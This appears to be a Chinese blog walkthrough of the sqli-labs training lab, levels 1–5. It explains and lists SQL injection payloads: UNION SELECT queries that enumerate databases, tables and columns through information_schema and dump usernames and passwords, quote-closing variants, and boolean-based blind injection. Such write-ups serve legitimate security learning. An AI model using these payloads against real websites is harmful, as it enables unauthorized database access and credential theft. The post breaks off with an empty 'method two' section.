Sqli-labs-master通关解析(持续更新中。。。)

大多情况下:SQL注入其实就是构造正确的mysql命令,让网页回显本不应该让我们看到的数据(如用户的账号和密码)。

第一关-联合查询注入
  • 查库

// 查看当前页面在的数据库

?id=-1' union select 1,2,database();--+
//一个一个的查
?id=-1' union select 1,2,  schema_name from information_schema.schemata limit 1,1; --+
//查看所有数据库
?id=-1' union select 1,2,  group_concat(schema_name)  from information_schema.schemata; --+
  • 查表

//一个一个的查
?id=-1' union select 1,2, table_name  from information_schema.tables where table_schema=0x7365637572697479 limit 1,1; --+
//查所有表
?id=-1' union select 1,2, group_concat(table_name)  from information_schema.tables where table_schema=0x7365637572697479; --+
  • 查字段

//一个一个的查
?id=-1' union select 1,2, column_name from information_schema.columns where table_name=0x7573657273 limit 1,1;--+
//查所有字段
?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273;--+
  • 查值

//一个一个的查
?id=-1' union select 1,username,password from security.users limit 1,1;--+
//查所有值
?id=-1' union select 1,2, group_concat( concat_ws(0x7e,username,password) ) from security.users ;--+
√ 解析
  • 原理
    当我们传入参数id=1时,其实在后台执行的代码是
    SELECT * FROM users WHERE id='1' LIMIT 0,1;
    以查库为例,在mysql中我们要想知道当前我们所处的数据库名称会用database()函数,数据库会返回当前所在库名
    那么我们怎么让网页返回的值是我们想要其他的的值呢?
    显然我们要在输入1的位置做文章
    ?id=1'--+ (其中的单引号‘ ' ’用来闭合id,--+注释符把后面的命令注释掉)
    这样可以执行成功,此时后台执行的代码是
    SELECT * FROM users WHERE id='1';--+' LIMIT 0,1;
    --+后面的语句被注释已失效,显然SELECT * FROM users WHERE id='1';是一条完整且正确的命令

  • 开始构造
    我们采用联合查询语句继续构造
    输入
    ?id=-1' union select 1,2,database();--+
    显然数据的id是从1开始编写的,id=-1肯定不存在,默认返回‘执行后面的命令获得的数据’
    此时后台执行
    SELECT * FROM users WHERE id='-1' union select 1,2,database();--+' LIMIT 0,1;
    显然SELECT * FROM users WHERE id='-1' union select 1,2,database();是一条完整且正确的命令
    但是当我们注入某个网站时,用户的账号密码不一定就在‘网页当前所在数据库’里啊。其他的数据库名字我又不知道在怎么办?
    查!
    同样的我们构造
    ?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+ //一个一个的查
    这是一条通用命令,即查询数据库中所有库的名字
    limit 1,1表示从第一条数据开始数,下一条数据
    当然也可以
    limit 1,2 第三条数据
    limit 1,3 第四条数据
    ...
    从而遍历出所有数据

  • 什么?太麻烦了
    我们可以用grup_concat()一次查出所有数据,显然limit 1,1就没用了--> 扔掉!
    用法:把查的内容用函数包裹即可
    ?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+
    接着,同样的道理
    查表
    查字段
    (略)...

第二关-联合查询注入
id的闭合方式变为

id= 1         
  
第三关-联合查询注入
id的闭合方式变为

 
id= (' 1 ')        
  
第四关-联合查询注入

id的闭合方式变为


id= (" 1 ")            
       
第五关-BOOL型注入
  • 方法一


?id = 1 ' and  left( ( database() ), 1  ) = 'a' ;--+     

database() 部分换做

查库

select schema_name from information_schema.schemata limit 1,1

查表

select table_name from information_schema.tables limit 1,1

查字段

select table_name from information_schema.columns limit 1,1

查数据

select password from security.users limit 1,1

  • 方法二

posted @ 2020-05-18 14:35  HUGBOY  阅读(908)  评论(0编辑  收藏  举报